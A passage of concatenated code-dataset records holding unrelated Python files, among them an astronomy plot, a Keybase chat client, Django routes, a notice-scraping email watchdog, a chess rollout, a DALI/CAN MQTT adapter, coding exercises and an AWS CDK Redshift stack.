np.remainder(tick_labels+360+org,360)\n fig = plt.figure(figsize=(10, 5))\n ax = fig.add_subplot(111, projection=projection, axisbg ='LightCyan')\n ax.scatter(np.radians(x),np.radians(Dec)) # convert degrees to radians\n ax.set_xticklabels(tick_labels) # we add the scale on the x axis\n ax.set_title(title)\n ax.title.set_fontsize(15)\n ax.set_xlabel(\"RA\")\n ax.xaxis.label.set_fontsize(12)\n ax.set_ylabel(\"Dec\")\n ax.yaxis.label.set_fontsize(12)\n ax.grid(True)\n\n\nlon_array = np.arange(0,360)\nlat = 0.\neq_array = np.zeros((360,2))\nfor lon in lon_array:\n ga = ephem.Galactic(np.radians(lon), np.radians(lat))\n eq = ephem.Equatorial(ga)\n eq_array[lon] = np.degrees(eq.get())\nRA = eq_array[:,0]\nDec = eq_array[:,1]\nplot_mwd(RA, Dec, 180, title = 'Galactic plane in equatorial coordinates \\n (Mollweide projection)')\nplt.show()\n","sub_path":"astropy/mw_in_eq.py","file_name":"mw_in_eq.py","file_ext":"py","file_size_in_byte":1706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"9330678","text":"import uuid\nimport os\nfrom config import FIFO_DIR, SUBS_DIR, INLINE_SEP\nfrom common import now\nfrom base64 import b64encode\nimport time\nfrom time import sleep\nimport subprocess as sp\nimport threading as thrd\nimport json\n\nFIFO_DIR = \"/tmp/kbrpc/private\"\nSUBS_DIR = \"/tmp/kbrpc\" \nINLINE_SEP = chr(7)\ndef now():\n \"\"\" current time rounded down to nearest milli\"\"\"\n return int(time.time() * 1000)\n\nclass Client(object):\n def __init__(self, subs=[]):\n \"\"\"\n Subs: a list of 2 tuples:\n * element 1 is a string representing a subdir of /keybase/private,\n e.g. \"lgessler,tondwalkar\"\n * element 2 is a channel under that subdir that the client wants to\n listen to, e.g. \"chat\". (This corresponds to a directory under the\n first element's .kbrpc subdirectory, e.g.\n \".../lgessler,tondwalkar/.kbrpc/chat\"\n \"\"\"\n self.tok = uuid.uuid4().hex # nonce identifier\n self.subsfilename = os.path.join(SUBS_DIR, self.tok + '.subs')\n self.sender = self._get_client_info()['Username']\n #self.sender = 'lgessler'\n\n self._subs = list()\n self._threads = {}\n if subs:\n for names, channel in subs:\n self.sub(names, channel)\n\n def __del__(self):\n os.remove(self.subsfilename)\n\n def sub(self, names, channel):\n print(\"Writing to\", SUBS_DIR + '/' + self.tok + '.subs')\n self._subs.append((names, channel))\n with open(self.subsfilename, 'a') as f:\n f.write(\"{}{}{}\\n\".format(names, INLINE_SEP, channel))\n self._make_inbound_listener_thread(names, channel)\n\n def unsub(self, names, channel):\n #TODO: fix this. How to stop threads while they're blocked on IO?\n with open(self.subsfilename, 'r') as f:\n lines = f.readlines()\n\n with open(self.subsfilename, 'w') as f:\n for line in lines:\n n, c = line.strip().split(INLINE_SEP)\n if not (n == names and c == channel):\n f.write(line)\n \n self._subs = [x for x in self._subs if \\\n not (x[0] == names and x[1] == channel)]\n self._destroy_inbound_listener_thread(names, channel)\n\n def _get_fifo_in_name(self, names, channel):\n return \"/\".join([FIFO_DIR, names, channel + \".in.fifo\"])\n\n def _get_fifo_out_name(self, names, channel):\n return \"/\".join([FIFO_DIR, names, channel + \".out.fifo\"])\n\n def _make_inbound_listener_thread(self, names, channel):\n t = thrd.Thread(\n target=self._listen_to_inbound_fifo,\n args=(self._get_fifo_out_name(names, channel),))\n t.daemon = True\n self._threads[(names, channel)] = t\n print(\"Added thread for %s, %s\" % (names, channel))\n t.start()\n\n def _listen_to_inbound_fifo(self, fifopath):\n # dear god don't let me get away with this\n while True:\n try:\n fifo = open(fifopath, 'r')\n except:\n # wait for it to get created\n sleep(2) # make this more elegant\n fifo = open(fifopath, 'r')\n\n accum = \"\"\n for line in fifo.read():\n accum += line\n if \"\\n\" in accum:\n self.on_message(accum[:accum.index(\"\\n\")])\n accum = accum[accum.index(\"\\n\")+1:]\n fifo.close()\n\n def _destroy_inbound_listener_thread(self, names, channel):\n t = self._threads[(names, channel)]\n # stop thread somehow\n del self._threads[(names, channel)]\n\n def send_message(self, m, names, channel):\n if (names, channel) not in self._subs:\n raise Exception(\"Can't send message on a channel you're not\"\n \"subscribed to\")\n\n fname = self._get_fifo_in_name(names, channel)\n with open(fname, 'w') as f:\n f.write(INLINE_SEP.join([str(now()), self.sender, \n b64encode(str.encode(m)).decode()]) + \"\\n\")\n\n def on_message(self, m):\n print(\"Client receives message: %s\" % m)\n\n def _get_client_info(self):\n try:\n json_string = sp.getoutput('keybase status --json')\n return json.loads(json_string)\n except:\n print(\"keybase status failed. Do you have keybase installed?\")\n exit(-1)\n\nif __name__ == '__main__':\n try:\n os.listdir('/keybase')\n except:\n print(\"Failed to open /keybase -- do you have KBFS installed?\")\n exit(-1)\n\n c = Client()\n c.sub(\"lgessler,tondwalkar\",\"chat\")\n \n print(\"\"\"c.send_message(os.getlogin() + \" has joined room!\",\"lgessler,tondwalkar\",\"chat\")\"\"\")\n","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":4714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"634137162","text":"\"\"\"CENotifier URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.10/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf import settings\nfrom django.conf.urls import url, include\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom rest_framework_jwt.views import obtain_jwt_token, refresh_jwt_token, verify_jwt_token\nfrom utils.views import LoginView, HomeView, LogoutView, SignUpView\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^$', HomeView.as_view(), ),\n url(r'^login/$', LoginView.as_view(), name='login'),\n url(r'^logout/$', LogoutView.as_view(), name='logout'),\n url(r'^signup/$', SignUpView.as_view(), name='signup'),\n url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n url(r'login', include('utils.urls', namespace='utils')),\n url(r'api/', include('course.urls', namespace='api')),\n url(r'home', HomeView.as_view(), name='home'),\n url(r'^api-token-auth/', obtain_jwt_token),\n url(r'^api-token-refresh/', refresh_jwt_token),\n url(r'^api-token-verify/', verify_jwt_token),\n url(r'^get-notifications/', include('notification.urls'))\n\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\nurlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)","sub_path":"CENotifier/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"467053022","text":"# Copyright (c) 2015 OpenStack Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport os\nimport uuid\n\nimport mistralclient.api.client as mistralclient\nimport testtools\n\nimport murano.tests.functional.common.tempest_utils as tempest_utils\nimport murano.tests.functional.common.utils as common_utils\n\n\nclass MistralTest(testtools.TestCase, tempest_utils.TempestDeployTestMixin):\n\n @classmethod\n def mistral_client(cls):\n keystone_client = cls.keystone_client()\n\n endpoint_type = 'publicURL'\n service_type = 'workflowv2'\n\n mistral_url = keystone_client.service_catalog.url_for(\n service_type=service_type,\n endpoint_type=endpoint_type)\n\n auth_token = keystone_client.auth_token\n\n return mistralclient.client(mistral_url=mistral_url,\n auth_url=keystone_client.auth_url,\n project_id=keystone_client.tenant_id,\n endpoint_type=endpoint_type,\n service_type=service_type,\n auth_token=auth_token,\n user_id=keystone_client.user_id)\n\n @classmethod\n def setUpClass(cls):\n super(MistralTest, cls).setUpClass()\n\n try:\n # Upload the Murano test package.\n cls.upload_mistral_showcase_app()\n\n except Exception as e:\n cls.tearDownClass()\n raise e\n\n @classmethod\n def tearDownClass(cls):\n with common_utils.ignored(Exception):\n cls.purge_uploaded_packages()\n\n @classmethod\n def upload_mistral_showcase_app(cls):\n app_dir = 'io.murano.apps.test.MistralShowcaseApp'\n zip_file_path = cls.zip_dir(os.path.dirname(__file__), app_dir)\n cls.init_list(\"_package_files\")\n cls._package_files.append(zip_file_path)\n return cls.upload_package(\n 'MistralShowcaseApp',\n {\"categories\": [\"Web\"], \"tags\": [\"tag\"]},\n zip_file_path)\n\n @staticmethod\n def _create_env_body():\n return {\n \"name\": \"Mistral_environment\",\n \"?\": {\n \"type\": \"io.murano.apps.test.MistralShowcaseApp\",\n \"id\": str(uuid.uuid4())\n }\n }\n\n def test_deploy_package_success(self):\n # Test expects successful deployment and one output: input_1_value.\n\n # Create env json string.\n post_body = self._create_env_body()\n\n environment_name = 'Mistral_environment' + uuid.uuid4().hex[:5]\n\n # Deploy the environment.\n env = self.deploy_apps(environment_name, post_body)\n\n status = self.wait_for_final_status(env)\n\n self.assertIn(\"ready\", status[0],\n \"Unexpected status : \" + status[0])\n self.assertIn(\"input_1_value\", status[1],\n \"Unexpected output value: \" + status[1])\n","sub_path":"murano/tests/functional/engine/test_mistral.py","file_name":"test_mistral.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"561683381","text":"import requests\nfrom xml.dom.minidom import parseString\nfrom bs4 import BeautifulSoup\nfrom time import sleep, ctime\nfrom datetime import datetime\nfrom django.core.mail import send_mail\n\n\nclass Logger:\n def __init__(self, log_file, *pre):\n self.log_file = log_file\n self.pre = pre\n\n def __call__(self, *msg):\n lst = self.pre + msg\n print('[%s]' % ctime(), *lst)\n with open(self.log_file, 'a', encoding='utf-8') as f:\n f.write('[%s]' % ctime())\n f.write(' '.join(lst))\n f.write('\\n')\n\n\nclass watchdog:\n def __init__(self, url, recipent, log_file, mail_max):\n self.url = url\n self.recipent = recipent\n self.mail_max = mail_max\n self.mail_cnt = 0\n self.logger = Logger(log_file)\n\n lst = self._get()\n self.anno_len = len(lst)\n self.logger('init {}'.format(self.anno_len))\n\n def _mail(self, title, content):\n send_mail(title, content, 'taraxacum45e9a@aliyun.com', self.recipent)\n self.mail_cnt += len(self.recipent)\n\n def _get(self):\n rsp = requests.get(self.url)\n rss = rsp.content.decode('gbk')\n doc = parseString(rss)\n return doc.getElementsByTagName('item')\n\n def _doc2dict(self, doc):\n item = BeautifulSoup(doc.toxml(), 'xml').find('item')\n return {\n 'title': item.find('title').text,\n 'link': item.find('link').text,\n 'pubdate': item.find('pubDate').text\n }\n\n def _writehtml(self, url):\n fn = url.split('/')[-1]\n with open('/root/download/anno/' + fn, 'wb') as f:\n rsp = requests.get(url)\n f.write(rsp.content)\n\n def _writexml(self):\n fn = 'rss_notice.xml'\n with open('/root/douwnload/anno/' + fn, 'wb') as f:\n rsp = requests.get(self.url)\n f.write(rsp.content)\n\n def _announce(self, pool):\n lst = []\n\n for item in pool:\n data = self._doc2dict(item)\n lst.append(data)\n self._writehtml(data['link'])\n self.logger('{title} | {pubdate} | {link}'.format_map(data))\n\n self._mail(\n '【WatchDog】教务处公告更新',\n str(lst).replace(',', ',\\n').replace(\"'\", \"\")\n )\n\n if self.mail_cnt >= self.mail_max:\n txt = '[ERROR] The number of mails sent has been {}'.format(\n self.mail_cnt)\n self.logger(txt)\n send_mail('【WatchDog】WatchDog Error', txt)\n return self.mail_cnt >= self.mail_max\n\n def __call__(self):\n lst = self._get()\n if len(lst) > self.anno_len:\n pool = []\n new_length = len(lst)\n while len(lst) > self.anno_len:\n pool.append(lst[0])\n del lst[0]\n self.anno_len = new_length\n return self._announce(pool)\n else:\n self.logger('No new announcement found')\n return False\n\n\ndef sleep_stratagey():\n t = datetime.now()\n if t.weekday() == 5 or t.weekday() == 6:\n sleep(2*60*60)\n # elif t.hour > 18 or t.hour < 8:\n # sleep(60*60)\n else:\n sleep(30*60)\n\n\ndef app():\n jwc = watchdog(\n 'http://jwc.sjtu.edu.cn/rss/rss_notice.aspx?SubjectID=198015&TemplateID=221027',\n ['john980118@outlook.com'],\n 'wd.log',\n 150\n )\n\n while True:\n sleep_stratagey()\n\n try:\n jwc()\n except BaseException as err:\n jwc.logger('[ERROR] {}'.format(str(err)))\n send_mail(\n '【WatchDog】WatchDog出错',\n str(err),\n 'taraxacum45e9a@aliyun.com',\n ['454633705@qq.com']\n )\n break\n","sub_path":"jwc_anno/watchdog.py","file_name":"watchdog.py","file_ext":"py","file_size_in_byte":3761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"430005365","text":"\n#performs a rollout from node X and backpropagates visits and scores for the tree\nimport numpy as np\n\nfrom copy import deepcopy, copy\nfrom wrappers.chess_env import ChessEnvironment\nfrom core.chess_board import ChessBoard\nfrom core.chess_move import ChessMove\n\ndef dummy_debug(white_toact, actions, random_move, cb_before, cb_after):\n print(\"Player: \", ['black', 'white'][white_toact])\n actions[random_move].print(white_toact)\n print(\"Board before move: \")\n cb_before.print_console()\n print(\"Board after move: \")\n cb_after.print_console()\n print(\"Our pieces :\")\n cb_before.print_console(1)\n\nclass MCTS_Rollout :\n def __init__(self) :\n pass\n\n def simulate_rollout(self, cb, env):\n np.random.seed(123)\n\n max_moves = 100\n move = 0\n terminal = False\n\n env.reset(cb)\n\n promo_has_happened = False\n castle_has_happened = False\n enp_has_happened = False\n\n movelist = []\n boardlist = []\n\n white_start = -1 if not cb.white_to_act else 1\n\n while move < max_moves and not terminal :\n move += 1\n\n try :\n actions = env.get_legal_moves()\n except Exception as e :\n print(e)\n # for action, board in zip(movelist, boardlist) :\n # action.print()\n # board.print_console()\n #\n # print(castle_has_happened)\n # print(promo_has_happened)\n # print(enp_has_happened)\n exit()\n\n status, score, white_toact, done, repeats = env.get_board_info(actions)\n\n if done:\n return score, status\n\n n_actions = len(actions)\n action = np.random.randint(n_actions)\n\n #boardlist.append(env.get_state())\n #movelist.append(actions[action])\n\n if actions[action].spec_action == 'O-O' or actions[action].spec_action == 'O-O-O' :\n castle_has_happened = True\n elif actions[action].promotion != '' : promo_has_happened = True\n elif actions[action].spec_action == 'enp':\n enp_has_happened = True\n\n env.step(actions, action)\n\n return .5 * white_start , status\n\n def backward(self, mcts_node, score):\n mcts_node.backprop_score(score)\n\n\n\n\n","sub_path":"mcts/rollout.py","file_name":"rollout.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"565599372","text":"import logging\nimport sys\n\nimport paho.mqtt.client\n\nfrom spread_core.mqtt import TopicDali, TopicCan, DUMP, SEND, of, DOUBLE_SEND_FLAG, FORCE_ANSWER_FLAG, DALI_ERROR_FLAG\nfrom spread_core.protocols.dali.bus.can_bus import CanBus\nfrom spread_core.tools import settings, debugger\n\nlogging.basicConfig(format=u'%(levelname)-8s [%(asctime)s] %(message)s',\n level=logging.DEBUG if sys.argv[len(sys.argv) - 1] == 'debug' else logging.INFO,\n stream=sys.stdout)\n\nresponses = dict()\n\n\ndef on_connect(mosq, obj, flags, rc):\n connct_results = ['Connection successful',\n 'Connection refused - incorrect protocol version',\n 'Connection refused - invalid client identifier',\n 'Connection refused - server unavailable',\n 'Connection refused - bad username or password',\n 'Connection refused - not authorised']\n if rc == 0:\n logging.info(connct_results[rc])\n subscribe(TopicDali(SEND))\n subscribe(TopicCan(DUMP))\n else:\n logging.warning(connct_results[rc])\n\n\ndef on_message(mosq, obj, msg):\n topic = of(msg.topic)\n payload = msg.payload.decode()\n if isinstance(topic, TopicCan):\n can2dali(topic, payload)\n elif isinstance(topic, TopicDali):\n dali2can(topic, payload)\n\n\ndef can2dali(from_topic, payload):\n addr, data, flags = payload.split('#')\n data = bytearray.fromhex(data)\n ch_bite = 1 if from_topic.class_id == 1 else 2\n\n channel = data[ch_bite] - ((data[ch_bite] >> 3) << 3)\n pr, module_id, address_to = parse_address(addr)\n if address_to == 31:\n topic = TopicDali(DUMP, CONTROLLER_ID, module_id, channel)\n message = ''.join(hex(b).replace('0x', '').rjust(2, '0') for b in data[(ch_bite + 1):]).upper() + '#' + flags\n mqttc.publish(str(topic), message)\n logging.debug('[{}]: {}'.format(topic, message))\n\n\ndef on_can_msg(module_id, data):\n # data = ''.join(hex(b).replace('0x', '').rjust(2, '0') for b in data)\n channel = data[0] & 0x07 # 0000111\n dlc = (data[0] >> 3) & 0x03 # 0011000\n err = (data[0] >> 5) & 0x01 # 0100000\n topic = TopicDali(DUMP, CONTROLLER_ID, module_id, channel)\n flags = []\n if dlc == 2:\n flags.append(FORCE_ANSWER_FLAG)\n if err == 1:\n flags.append(DALI_ERROR_FLAG)\n message = ''.join(hex(b).replace('0x', '').rjust(2, '0') for b in data[1:]).upper()\n if len(flags) > 0:\n message += ':'.join(flags)\n mqttc.publish(str(topic), message)\n logging.debug('[{}]: {}'.format(topic, message))\n\n\ndef dali2can(from_topic, payload):\n bite1 = 0x0\n if '#' in payload:\n data, flags = payload.split('#')\n if DOUBLE_SEND_FLAG in flags:\n bite1 += 1 << 0\n # if THREE_BYTES_FLAG in flags:\n if len(data) == 2*3:\n bite1 += 1 << 1\n if FORCE_ANSWER_FLAG in flags:\n bite1 += 1 << 2\n else:\n data = payload\n\n bite2 = int(str(from_topic.channel_id), 2)\n\n addr = (31 << 5) + from_topic.module_id\n addr_str = hex(addr).replace('0x', '').rjust(2, '0').rjust(3, '0')\n data = b'\\x01' + bytes([bite1, bite2]) + bytes.fromhex(data)\n data_str = '#'.join([addr_str, ''.join(hex(b)[2:].rjust(2, '0') for b in data)])\n can.send(addr, data)\n # to_topic = TopicCan(SEND, CONTROLLER_ID, 0)\n # mqttc.publish(str(to_topic), '{}#{}'.format(addr, data).upper())\n\n\ndef parse_address(addr):\n bin_addr = bin(int(addr, 16))[2:].rjust(11, '0')\n addr_from = int(bin_addr[1:6], 2)\n addr_to = int(bin_addr[6:], 2)\n pr = bin_addr[0]\n\n return pr, addr_from, addr_to\n\n\ndef subscribe(topic):\n mqttc.subscribe(str(topic))\n logging.debug('Subscribed to {}'.format(topic))\n\n\nif sys.argv[len(sys.argv) - 1] == 'debug':\n debugger.attach()\ntry:\n can = CanBus(on_can_msg)\nexcept BaseException as ex:\n logging.error(ex)\nelse:\n conf = settings.config\n CONTROLLER_ID = conf['CONTROLLER_ID']\n mqttc = paho.mqtt.client.Client(userdata='RapidaDaliAdapter', clean_session=True)\n settings.create_client(mqttc, on_connect=on_connect, on_message=on_message)\n mqttc.loop_forever()\n","sub_path":"core/tools/adapters/rapida_dali_adapter.py","file_name":"rapida_dali_adapter.py","file_ext":"py","file_size_in_byte":4183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"514136609","text":"def solution(N):\n # write your code in Python 3.6\n B = format(N, 'b')\n stack = []\n cnt = 0\n flag = 0\n for i in B:\n if i == '1' and flag == 0:\n flag = 1\n elif i == '0' and flag == 1:\n cnt += 1\n elif i == '1' and flag == 1:\n stack.append(cnt)\n cnt = 0\n if stack == []:\n res = 0\n else:\n res = max(stack)\n return res","sub_path":"Python/Codility/Lesson/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"506175018","text":"#先找收尾相同,再中间比较\nclass Solution:\n def pp(self,h:str):\n left=0\n right=len(h)-1\n while(left str:\n if s=='':\n return ''\n results=[]\n for i in range(len(s)):\n for k in range(len(s)-1,i,-1):\n if s[k]==s[i]:\n h=self.pp(s[i:k+1])\n if h:\n results+=[h]\n break\n if not results:\n return s[0]\n else:\n length=[len(i) for i in results]\n return results[length.index(max(length))]\n\n#中心扩散法,便利每个间隔和元素,从中间向两侧比较,不同的时候则结束\nclass Solution2:\n def longestPalindrome(self, s: str) -> str:\n size = len(s)\n if size < 2:\n return s\n\n # 至少是 1\n max_len = 1\n res = s[0]\n\n for i in range(size):\n palindrome_odd, odd_len = self.__center_spread(s, size, i, i)\n palindrome_even, even_len = self.__center_spread(s, size, i, i + 1)\n\n # 当前找到的最长回文子串\n cur_max_sub = palindrome_odd if odd_len >= even_len else palindrome_even\n if len(cur_max_sub) > max_len:\n max_len = len(cur_max_sub)\n res = cur_max_sub\n\n return res\n\n def __center_spread(self, s, size, left, right):\n \"\"\"\n left = right 的时候,此时回文中心是一条线,回文串的长度是奇数\n right = left + 1 的时候,此时回文中心是任意一个字符,回文串的长度是偶数\n \"\"\"\n i = left\n j = right\n\n while i >= 0 and j < size and s[i] == s[j]:\n i -= 1\n","sub_path":"最大回文子串.py","file_name":"最大回文子串.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"589271473","text":"from aws_cdk import aws_lambda\nfrom aws_cdk import aws_cloudformation\nfrom aws_cdk import custom_resources\nfrom aws_cdk import aws_iam\nfrom aws_cdk import core\nimport hashlib\n\n\nclass RedshiftBootstrapStack(core.Stack):\n\n def __init__(\n self,\n scope: core.Construct, id: str,\n redshift,\n redshift_bootstrap_script_s3_path: str,\n stack_log_level: str,\n **kwargs\n ) -> None:\n super().__init__(scope, id, **kwargs)\n\n lambdaRunScriptIamRole = aws_iam.Role(\n self,\n \"lambdaRunScriptIamRole\",\n assumed_by=aws_iam.ServicePrincipal(\n \"lambda.amazonaws.com\"),\n managed_policies=[aws_iam.ManagedPolicy.from_managed_policy_arn(self, 'AWSLambdaVPCAccessExecutionRole',\n 'arn:aws:iam::aws:policy/service-role/AWSLambdaVPCAccessExecutionRole')],\n inline_policies={\n 'lambdaRunScriptIamPolicy': aws_iam.PolicyDocument(\n statements=[\n aws_iam.PolicyStatement(\n actions=[\n \"redshift-data:ExecuteStatement\",\n \"redshift-data:ListStatements\",\n \"redshift-data:GetStatementResult\",\n \"redshift-data:DescribeStatement\"\n ],\n resources=['*']),\n aws_iam.PolicyStatement(\n actions=[\n \"s3:GetObject\"\n ],\n resources=[redshift_bootstrap_script_s3_path.replace(\"s3://\", \"arn:aws:s3:::\")]),\n aws_iam.PolicyStatement(\n actions=[\n \"redshift:GetClusterCredentials\"\n ],\n resources=[\"*\"\n # \"arn:aws:redshift:\" + self.region + \":\" + self.account + \":cluster:\" + redshift.get_cluster_identifier,\n # \"arn:aws:redshift:\" + self.region + \":\" + self.account + \":dbname:\" + redshift.get_cluster_identifier + \"/\" + redshift.get_cluster_dbname,\n # \"arn:aws:redshift:\" + self.region + \":\" + self.account + \":dbuser:\" + redshift.get_cluster_identifier + \"/\" + redshift.get_cluster_user\n ])\n ]\n )\n }\n )\n\n with open(\"lambda_run_redshift_script.py\", encoding=\"utf8\") as fp:\n lambda_run_redshift_script_code = fp.read()\n\n lambda_run_redshift_script = aws_lambda.Function(\n self, \"lambdaRunRedshiftScript\",\n code=aws_lambda.InlineCode(lambda_run_redshift_script_code),\n handler=\"index.handler\",\n timeout=core.Duration.seconds(60),\n runtime=aws_lambda.Runtime.PYTHON_3_7,\n role=lambdaRunScriptIamRole\n # ,environment={\n # 'ACTION': 'RUN_REDSHIFT_SCRIPT',\n # 'REDSHIFT_HOST': redshift.get_cluster_host,\n # 'REDSHIFT_DB': redshift.get_cluster_dbname,\n # 'REDSHIFT_USER': redshift.get_cluster_user,\n # 'REDSHIFT_IAM_ROLE': redshift.get_cluster_iam_role,\n # 'SCRIPT_S3_PATH': redshift_bootstrap_script_s3_path}\n )\n\n lambdaCustomResourceCallRunScriptIamRole = aws_iam.Role(\n self,\n \"lambdaCustomResourceCallRunScriptIamRole\",\n assumed_by=aws_iam.ServicePrincipal(\n \"lambda.amazonaws.com\"),\n managed_policies=[aws_iam.ManagedPolicy.from_managed_policy_arn(self, 'AWSLambdaRole',\n 'arn:aws:iam::aws:policy/service-role/AWSLambdaRole')],\n inline_policies={\n 'lambdaRunScriptIamPolicy': aws_iam.PolicyDocument(\n statements=[\n aws_iam.PolicyStatement(\n actions=[\n \"logs:CreateLogGroup\",\n \"logs:CreateLogStream\",\n \"logs:PutLogEvents\",\n ],\n resources=['*']),\n aws_iam.PolicyStatement(\n actions=[\n \"s3:GetObject\"\n ],\n resources=[redshift_bootstrap_script_s3_path.replace(\"s3://\", \"arn:aws:s3:::\")])\n ]\n )\n }\n )\n\n\n with open(\"lambda_call_lambda_to_run_redshift_script.py\", encoding=\"utf8\") as fp:\n lambda_custom_resource_call_run_redshift_script_code = fp.read()\n\n lambda_custom_resource_call_run_redshift_script = aws_cloudformation.CustomResource(\n self, \"customResourceLambdaCallRunRedshiftScript\",\n provider=aws_cloudformation.CustomResourceProvider.lambda_(\n aws_lambda.SingletonFunction(\n self, \"lambdaRunScriptRedshift\",\n code=aws_lambda.InlineCode(lambda_custom_resource_call_run_redshift_script_code),\n handler=\"index.handler\",\n timeout=core.Duration.seconds(900),\n runtime=aws_lambda.Runtime.PYTHON_3_7,\n role=lambdaCustomResourceCallRunScriptIamRole,\n uuid=get_md5(self.account, self.region, redshift_bootstrap_script_s3_path)\n )\n ),\n properties={\n 'Action': 'RUN_REDSHIFT_SCRIPT',\n 'RedshiftHost': redshift.get_cluster_host,\n 'RedshiftDb': redshift.get_cluster_dbname,\n 'RedshiftUser': redshift.get_cluster_user,\n 'RedshiftIamRole': redshift.get_cluster_iam_role,\n 'ScriptS3Path': redshift_bootstrap_script_s3_path,\n 'LambdaArn': lambda_run_redshift_script.function_arn}\n )\n\n\ndef get_md5(account: str, region: str, script_s3_path: str, length: int = 8) -> str:\n md5 = hashlib.new('md5')\n md5.update(account.encode('utf-8'))\n md5.update(region.encode('utf-8'))\n md5.update(script_s3_path.encode('utf-8'))\n return md5.hexdigest()[:length]\n","sub_path":"redshift_poc_automation/stacks/redshift_bootstrap_stack.py","file_name":"redshift_bootstrap_stack.py","file_ext":"py","file_size_in_byte":6474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"127827027","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is\n# regenerated.\n# --------------------------------------------------------------------------\n\nfrom .arm_proxy_resource import ARMProxyResource\n\n\nclass NotebookWorkspace(ARMProxyResource):\n \"\"\"A notebook workspace resource.\n\n Variables are only populated by the server, and will be ignored when\n sending a request.\n\n :ivar id: The unique resource identifier of the database account.\n :vartype id: str\n :ivar name: The name of the database account.\n :vartype name: str\n :ivar type: The type of Azure resource.\n :vartype type: str\n :ivar notebook_server_endpoint: Specifies the endpoint of Notebook server.\n :vartype notebook_server_endpoint: str\n :ivar status: Status of the notebook workspace. Possible values are:\n Creating, Online, Deleting, Failed, Updating.\n :vartype status: str\n \"\"\"\n\n _validation = {\n 'id': {'readonly': True},\n 'name': {'readonly': True},\n 'type': {'readonly': True},\n 'notebook_server_endpoint': {'readonly': True},\n 'status': {'readonly': True},\n }\n\n _attribute_map = {\n 'id': {'key': 'id', 'type': 'str'},\n 'name': {'key': 'name', 'type': 'str'},\n 'type': {'key': 'type', 'type': 'str'},\n 'notebook_server_endpoint': {'key': 'properties.notebookServerEndpoint', 'type': 'str'},\n 'status': {'key': 'properties.status', 'type': 'str'},\n }\n\n def __init__(self, **kwargs):\n super(NotebookWorkspace, self).__init__(**kwargs)\n self.notebook_server_endpoint = None\n self.status = None\n","sub_path":"src/cosmosdb-preview/azext_cosmosdb_preview/vendored_sdks/azure_mgmt_cosmosdb/models/notebook_workspace.py","file_name":"notebook_workspace.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"391860070","text":"import logging\n\nfrom django.urls import reverse\nfrom django.test import RequestFactory\nfrom hypothesis.extra.django import TestCase\n\nfrom tweets import views\n\n\nclass Test_GIF_Categories_Tweet_AJAX(TestCase):\n\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.factory = RequestFactory()\n logging.disable(logging.CRITICAL)\n\n def test_incorrect_method(self):\n request = self.factory.post(reverse(\"tweets:get_gif_categories\"))\n response = views.get_gif_categories_AJAX(request)\n self.assertEqual(response.status_code, 405)\n\n def test_correct(self):\n request = self.factory.get(reverse(\"tweets:get_gif_categories\"))\n response = views.get_gif_categories_AJAX(request)\n self.assertEqual(response.status_code, 200)\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n logging.disable(logging.NOTSET)\n","sub_path":"twitter_project/tweets/tests/test_gif_categories_AJAX.py","file_name":"test_gif_categories_AJAX.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"107416900","text":"#!/usr/bin/env python3\n\n\"\"\"\n@author: yuxuecheng\n@contact: yuxuecheng@xinluomed.com\n@software: PyCharm\n@file: face_recognition_wechat.py\n@time: 2018/8/13 1:07 PM\n\"\"\"\n\n\n# 人脸识别\n\nimport cv2\nimport dlib\nimport 